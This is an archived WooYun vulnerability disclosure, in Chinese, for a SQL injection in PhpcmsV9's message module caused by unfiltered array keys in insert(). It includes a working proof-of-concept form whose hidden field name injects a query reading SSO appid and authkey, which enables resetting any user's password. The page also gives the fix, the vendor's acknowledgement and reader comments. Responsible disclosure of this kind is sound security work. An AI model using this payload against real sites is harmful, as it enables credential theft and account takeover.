当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(36) 关注此漏洞

缺陷编号: WooYun-2013-17032

漏洞标题: PhpcmsV9 SQL注射 2013年贺岁第二发

相关厂商: phpcms

漏洞作者: 我想拿个shell

提交时间: 2013-01-07 12:41

公开时间: 2013-02-21 12:42

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php+数字类型注射 phpcms

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-07: 细节已通知厂商并且等待厂商处理中
2013-01-07: 厂商已经确认,细节仅向厂商公开
2013-01-17: 细节向核心白帽子及相关领域专家公开
2013-01-27: 细节向普通白帽子公开
2013-02-06: 细节向实习白帽子公开
2013-02-21: 细节向公众公开

简要描述:

第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。

明天再更新下一个漏洞。

详细说明:

在/phpcms9/phpcms/modules/message/index.php中有代码如下:



code 区域
$messageid = $this->message_db->insert($_POST['info'],true);





insert方法是key value的,代码如下:



code 区域
public function insert($data, $table, $return_insert_id = false, $replace = false) {
if(!is_array( $data ) || $table == '' || count($data) == 0) {
return false;
}

$fielddata = array_keys($data);
$valuedata = array_values($data);
array_walk($fielddata, array($this, 'add_special_char'));
array_walk($valuedata, array($this, 'escape_string'));

$field = implode (',', $fielddata);
$value = implode (',', $valuedata);

$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
$return = $this->execute($sql);
return $return_insert_id ? $this->insert_id() : $return;
}





嗯,很遗憾的是



code 区域
array_walk($fielddata, array($this, 'add_special_char'));





中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。



到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。



漏洞证明:

读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。

phpcms2.jpg







表单如下:用户名什么的得自己改一改。

code 区域
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>标 题:</th>
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
</tr>
<tr>
<th>内 容:</th>
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
</tr>
<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
<!-- 漏洞的利用重点在这里开始 -->
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- 漏洞的利用重点在这里结束 -->
<tr>
<th>验证码:</th>
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
<tr>
<td></td>
<td colspan="2"><label>
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
</label></td>
</tr>
</table>
</form>

修复方案:

array_walk($fielddata, array($this, 'add_special_char'));



在add_special_char函数内对key做过滤就可以了。

版权声明:转载请注明来源 我想拿个shell@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-01-07 15:44

厂商回复:

万分感谢!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-01-07 12:44 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )
    1

    第二发如约到来,下一发又会是什么呢!

  2. 2013-01-07 12:45 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    1

    看到个提醒,第二集果然来了。。

  3. 2013-01-07 12:51 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    ... 流行追美剧啊

  4. 2013-01-07 13:14 | 1ee ( 普通白帽子 | Rank:105 漏洞数:14 | 看书中....)
    1

    果断关注

  5. 2013-01-07 13:34 | hongygxiang ( 普通白帽子 | Rank:115 漏洞数:12 | 蛋疼)
    0

    果断关爱

  6. 2013-01-07 14:27 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    给力!!继续关注

  7. 2013-01-07 15:34 | 马杀鸡 ( 路人 | Rank:25 漏洞数:6 | 作为一匹勇敢的马,杀鸡是必不可少的)
    0

    果然连载

  8. 2013-01-07 16:31 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
    1

    先关注下

  9. 2013-01-07 20:12 | 蓝风 ( 普通白帽子 | Rank:125 漏洞数:25 | 崬汸慾哓 嗼檤焄垳皁 沓猵圊屾亾沬荖 颩憬...)
    0

    再关心下

  10. 2013-01-07 21:08 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:187 | px1624)
    0

    建议确认安全危害等级为高 这句话很霸气哦

  11. 2013-01-08 10:47 | phpcms ( 路人 | 还没有发布任何漏洞 | )
    0

    @px1624 我们觉得这是中肯的建议。

  12. 2013-01-27 01:45 | 无敌最寂寞 ( 实习白帽子 | Rank:42 漏洞数:4 | alert('这个家伙很懒,什么都没有留下'))
    0

    貌似无法修改后台用户的吧,PHPCMS的后台我记得是个单独的表来着。。。

  13. 2013-02-21 12:57 | 小黑要低调 ( 实习白帽子 | Rank:47 漏洞数:4 | 小黑一枚)
    0

    @phpcms 亲,你不是厂商么,咋成实习了

登录后才能发表评论,请先 登录